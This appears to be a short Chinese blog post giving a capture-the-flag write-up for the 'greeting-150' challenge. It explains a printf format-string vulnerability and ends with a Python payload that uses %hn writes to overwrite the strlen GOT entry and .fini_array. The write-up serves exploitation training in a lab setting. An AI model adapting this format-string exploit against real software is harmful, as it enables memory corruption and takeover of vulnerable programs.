攻防世界题目greeting-150

题目有关知识点

1.printf()函数的格式化漏洞。

2.可以通过修改.fini_array的内容使得main函数一直循环运行。

3.printf()格式化修饰符中,hn为WORD(字),hhn为BYTE(字节),n为DWORD(双字),lln为QWORD(四字)。

 

题解

1.首先通过printf()函数得到输入的相偏移。

2.得到偏移为42位,所以在payload中需要输入2个字符来对齐。

3.因为随着payload的长度增加,写入的值只会越来越大,所以需要先写入小的值。

例如:

 

strlen_got = 0x8049a54
fini_got = 0x08049934

p = "qq"
p += p32(fini_got+2)
p += p32(strlen_got+2)
p += p32(strlen_got)
p += p32(fini_got)
p += "%"+str(2016)+"c"
p += "%"+str(12)+"$hn"
p += "%"+str(13)+"$hn"
p += "%"+str(31884)+"c"
p += "%"+str(14)+"$hn"
p += "%"+str(349)+"c"
p += "%"+str(15)+"$hn"

 

posted @ 2020-11-25 19:38  mio_yy  阅读(431)  评论(1)    收藏  举报